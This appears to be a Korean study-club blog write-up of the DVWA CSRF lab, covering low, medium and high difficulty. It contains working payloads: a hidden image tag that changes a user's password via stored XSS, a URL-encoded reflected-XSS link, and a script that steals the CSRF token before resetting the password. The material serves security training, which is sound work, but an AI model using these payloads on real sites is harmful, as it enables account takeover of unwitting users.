DVWA 실습
CSRF
: Cross Site Request Forgery 사이트 간 요청 위조
사용자의 권한을 이용.. (사용자 모르게)
low
비밀번호를 변경하고, test 해볼 수 있다
변경 시, 전달되는 파라미터 확인
<img src='http://localhost/DVWA/vulnerabilities/csrf/?password_new=fool&password_conf=fool&Change=Change' width=0px height=0px>
을 stored xss쪽에 삽입을 해준다
(message length 늘려주기 필요)
삽입됨
test(기존) - wrong
fool(csrf 공격) - valid
medium
리퍼러 검증을 하고 있지만 이전 단계 방식으로 똑같이 가능할 것 같다...
다만 그대로 진행하게 되면
너무 길다고 한다..&&
Reflected xss를 사용해서 진행해보자
http://localhost/DVWA/vulnerabilities/xss_r/?name=<img src='http://localhost/DVWA/vulnerabilities/csrf/?password_new=fool&password_conf=fool&Change=Change' width=0px height=0px>
안돼서 이렇게 바꿈....
http://localhost//DVWA/vulnerabilities/xss_r/?name=%3Cimg+src%3D%27http%3A%2F%2Flocalhost%2FDVWA%2Fvulnerabilities%2Fcsrf%2F%3Fpassword_new%3Dfool%26password_conf%3Dfool%26Change%3DChange%27+width%3D0px+height%3D0px%3E
이 링크를 메일로 받았다고 가정해보자..
과정을 보면
넘어가는 모습
high
csrf token이 생겼다
https://github.com/SecuAcademy/webhacking/blob/master/csrfhigh.js
webhacking/csrfhigh.js at master · SecuAcademy/webhacking
'화이트해커가 되기 위한 8가지 웹 해킹 기술' 강의자료. Contribute to SecuAcademy/webhacking development by creating an account on GitHub.
github.com
스크립트 참고!!
var xhr;
var dvwa_csrf_url = '/DVWA/vulnerabilities/csrf/';
req1();
function req1() {
xhr = new XMLHttpRequest();
xhr.onreadystatechange = req2;
xhr.open('GET', dvwa_csrf_url);
xhr.send();
}
function req2() {
if (xhr.readyState === 4 && xhr.status === 200) {
var htmltext = xhr.responseText;
var parser = new DOMParser();
var htmldoc = parser.parseFromString(htmltext,'text/html');
var CSRFtoken = htmldoc.getElementsByName("user_token")[0].value;
alert('Found the token: ' + CSRFtoken);
xhr = new XMLHttpRequest();
xhr.open('GET', dvwa_csrf_url + '?password_new=hacker&password_conf=hacker&Change=Change&user_token=' + CSRFtoken);
xhr.send();
}
}
맨처음 경로만 DVWA로 수정해서 진행했다!!
1번 요청
: csrf 토큰을 얻기 위해 csrf url 접근
2번 요청
: 1번 요청이 제대로 됐나 확인하면 csrf 토큰을 가져오고 확인차 경고창 띄우기, 찾은 토큰을 붙여서 hacker로 비밀번호를 변경하는 요청을 보냄
js파일을 서버쪽에 올려주고.. /var/www/html/DVWA
stored xss 쪽에 스크립트를 삽입해두고 (low에서)
접속하면 첫번째 요청
두번째 요청까지 완료돼서
비밀번호가 바뀐다
'동아리 > 팀 스터디' 카테고리의 다른 글
[9기 심화] 웹 취약점 분석 15 (0) | 2024.05.11 |
---|---|
[9기 심화] 웹 취약점 분석 13 (0) | 2024.05.10 |
[9기 심화] 웹 취약점 분석 12 (0) | 2024.05.02 |
[9기 심화] 웹 취약점 분석 11 (0) | 2024.05.01 |
[9기 심화] 웹 취약점 분석 10 (0) | 2024.03.28 |